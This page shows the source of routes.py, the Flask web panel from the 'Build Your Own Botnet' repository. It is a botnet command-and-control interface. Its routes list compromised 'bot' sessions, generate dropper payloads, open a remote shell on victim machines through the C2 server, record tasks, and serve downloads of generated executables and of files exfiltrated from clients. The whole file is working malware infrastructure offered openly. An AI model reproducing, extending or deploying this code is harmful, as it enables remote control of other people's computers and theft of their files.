Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/main/routes.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
"""Routes (Build Your Own Botnet)"""
4
5
import os
6
import sys
7
import json
8
import shutil
9
from datetime import datetime
10
11
from flask import current_app, Blueprint, flash, redirect, render_template, request, url_for, send_from_directory
12
from flask_login import login_user, logout_user, current_user, login_required
13
14
from buildyourownbotnet import client, c2
15
from buildyourownbotnet.core.dao import file_dao, payload_dao, session_dao
16
from buildyourownbotnet.users.forms import RegistrationForm, LoginForm, UpdateAccountForm
17
from buildyourownbotnet.models import db, bcrypt, User, Session
18
from buildyourownbotnet.utils import get_sessions_serialized, get_tasks_serialized
19
20
# Blueprint
21
main = Blueprint('main', __name__)
22
23
# Globals
24
OUTPUT_DIR = os.path.abspath('buildyourownbotnet/output')
25
26
# Routes
27
@main.route("/dashboard")
28
@main.route("/sessions", methods=["GET"])
29
@login_required
30
def sessions():
31
"""Display active/inactive sessions"""
32
sessions = get_sessions_serialized(current_user.id)
33
return render_template("sessions.html", sessions=sessions, n=len(sessions), title="Control Panel")
34
35
36
@main.route("/payloads")
37
@login_required
38
def payloads():
39
"""Page for creating custom client scripts. Custom client scripts are generated on this page by sending user inputted values to
40
the '/generate' API endpoint, which writes the dropper to the user's output directory."""
41
payloads = payload_dao.get_user_payloads(current_user.id)
42
return render_template("payloads.html",
43
payloads=payloads,
44
owner=current_user.username,
45
title="Payloads")
46
47
48
@main.route("/files")
49
@login_required
50
def files():
51
"""Page for displaying files exfiltrated from client machines"""
52
user_files = file_dao.get_user_files(current_user.id)
53
return render_template("files.html",
54
files=user_files,
55
owner=current_user.username,
56
title="Files")
57
58
59
@main.route("/")
60
def home():
61
"""Home page"""
62
return render_template("home.html")
63
64
65
@main.route("/docs")
66
def docs():
67
"""Project documentation."""
68
return render_template("how-it-works.html", title="How It Works")
69
70
71
@main.route("/guide")
72
def guide():
73
"""Quick start guide."""
74
return render_template("guide.html", title="Guide")
75
76
77
@main.route("/faq")
78
def faq():
79
"""FAQ page."""
80
return render_template("faq.html", title="FAQ")
81
82
83
@main.route("/shell")
84
@login_required
85
def shell():
86
"""Interact with a client session. Commands entered in JQuery terminal on the front-end are sent to back to the
87
Python back-end via POST to the API endpoint /cmd, where it can directly
88
call the C2 server's send_task and recv_task methods to transmit encrypted
89
tasks/results via TCP connection."""
90
session_uid = request.args.get('session_uid')
91
92
# validate session id is valid integer
93
if not session_uid:
94
flash("Invalid bot UID: {}".format(session_uid))
95
return redirect(url_for('main.sessions'))
96
97
# get current user sessions
98
owner_sessions = c2.sessions.get(current_user.username)
99
100
# check if owner has any active sessions
101
if not owner_sessions:
102
session_dao.update_session_status(session_uid, 0)
103
flash("You have no bots online.", "danger")
104
return redirect(url_for('main.sessions'))
105
106
# check if requested session is owned by current user
107
if session_uid not in owner_sessions:
108
session_dao.update_session_status(session_uid, 0)
109
flash("Invalid bot UID: " + str(session_uid))
110
return redirect(url_for('main.sessions'))
111
112
# get requested session
113
session_thread = owner_sessions.get(session_uid)
114
115
# if session is online, authenticate user and enter shell
116
if session_thread:
117
if session_thread.info['owner'] == current_user.username:
118
return render_template("shell.html",
119
session_uid=session_uid,
120
info=session_thread.info,
121
title="Shell")
122
else:
123
flash("Bot not owned by current user.", "danger")
124
return redirect(url_for('main.sessions'))
125
126
# if bot is offline, update status in database and notify user
127
else:
128
session_dao.update_session_status(session_uid, 0)
129
flash("Bot is offline.", "danger")
130
return redirect(url_for('main.sessions'))
131
132
133
@main.route("/tasks", methods=["GET"])
134
@login_required
135
def tasks():
136
"""Task history for a client"""
137
session_uid = request.args.get('session_uid')
138
139
# get serialized task history from database
140
tasks = get_tasks_serialized(session_uid)
141
142
# show task history as a table
143
return render_template("tasks.html",
144
tasks=tasks,
145
session_uid=session_uid,
146
title="Tasks")
147
148
149
#####################
150
#
151
# DOWNLOADS
152
#
153
#####################
154
155
@main.route("/output/<user>/src/dist/<operating_system>/<filename>")
156
@login_required
157
def download_executable(user, operating_system, filename):
158
"""Download user generated binary executable payload."""
159
return send_from_directory(os.path.join(OUTPUT_DIR, user, 'src', 'dist', operating_system), filename, as_attachment=True)
160
161
162
@main.route("/output/<user>/src/<filename>")
163
@login_required
164
def download_payload(user, filename):
165
"""Download user generated Python payload."""
166
return send_from_directory(os.path.join(OUTPUT_DIR, user, 'src'), filename, as_attachment=True)
167
168
169
@main.route("/output/<user>/files/<filename>")
170
@login_required
171
def download_file(user, filename):
172
"""Download user exfiltrated file."""
173
return send_from_directory(os.path.join(OUTPUT_DIR, user, 'files'), filename, as_attachment=True)
174
175